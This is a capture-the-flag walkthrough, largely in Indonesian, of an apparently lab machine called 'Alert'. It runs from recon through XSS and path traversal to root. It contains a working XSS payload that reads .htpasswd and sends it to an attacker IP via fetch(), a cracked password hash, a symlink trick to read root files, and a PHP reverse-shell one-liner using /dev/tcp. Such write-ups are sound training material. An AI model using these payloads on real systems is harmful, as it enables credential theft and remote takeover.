Alert is an easy difficulty machine
┌──(glmx㉿kali)-[~]
└─$ nmap -sC -sV 10.10.11.44
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-26 13:53 WIB
Nmap scan report for 10.10.11.44
Host is up (0.067s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Subdomain Fuzz.
Menggunakan tool FFUF, mendapatkan subdomain statistics.
┌──(glmx㉿kali)-[~]
└─$ nano script.md
Payload:
<script>alert(1);</script>
Kemudian upload file tersebut ke sini dan View Markdown
Percobaan dengan payload XSS, berhasil di proses seperti pada gambar disamping.
Setelah itu melakukan View Source, terlihat bahwa setiap melakukan view markdown akan diproses menjadi sebuah file format ".md"
Sekarang script tersebut akan di perbaharui menjadi seperti ini dan kemudian diupload kembali dan melakukan tahap seperti sebelumnya:
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.16.60:8888/?file_content=" + encodeURIComponent(data));
});
</script>
Setelah itu di upload pada url alert.htb/visualizer.php, copy link "http://alert.htb/visualizer.php?link_share=676d00c3dd9013.28621197.md"
Kemudian mengarah ke Contact Us, paste link dan klik SEND. Sambil mengaktifkan simple http server menggunakan python pada port 8888
Setelah klik SEND, maka akan mendapatkan respon seperti dibawah ini:
Setelah mendapatkan respon "GET /?file_content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1"
Kemudian melakukan decode url menggunakan Cyberchef. Hasil decode url: albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Kemudian menggunakan hashcat untuk melakukan cracking password:
nano alerthtb.txt -> paste "$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/"
.\hashcat.exe -m 1600 -a 0 .\hashes.txt .\rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
ssh albert@alert.htb with pass manchesterunited
cat user.txt -> Mendapat User Flag
Melakukan pengecekan hak akses user albert tetapi tidak berhasil.. Dilanjutkan dengan pengecekan informasi tentang koneksi jaringan aktif pada sistem Linux menggunakan netstat -lvnp.
Terlihat bahwa terdapat aplikasi yang berjalan (LISTEN) pada koneksi lokal di port 8080.
Selanjutnya melakukan port forwarding melalui koneksi SSH untuk meneruskan port lokal 4321 ke port remote 8080 di server alert.htb agar dapat mengakses service di server remote melalui port lokal di komputer saya.
ssh -L 4321:127.0.0.1:8080 albert@alert.htb
Setelah itu mengakses localhost:4321 -> website monitor
Dari hasil run Linpeas sebelumnya, diketahui lokasi service ini ada part direktori /opt/...
Menuju /opt/website-monitor/monitors/.
$ touch rootflag.txt
$ ln -sf /root/root.txt
Kunjungi http://localhost:4321/monitors/root.txt
Berhasil dapat root flag.
Langkah berikutnya adalah untuk mendapat akses root.
Pergi ke direktori /opt/website-monitor/config
Membuat file gmt.php yang berisi payload reverse shell
albert@alert:/opt/website-monitor/config$ nano gmt.php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.16.60/4789 0>&1'"); ?>
albert@alert:/opt/website-monitor/config$ ls
configuration.php gmt.php
Aktifkan listener pada port 4789 dan kunjungi url hxxp://localhost:4321/config/gmt.php
Berhasil mendapat Root 🥳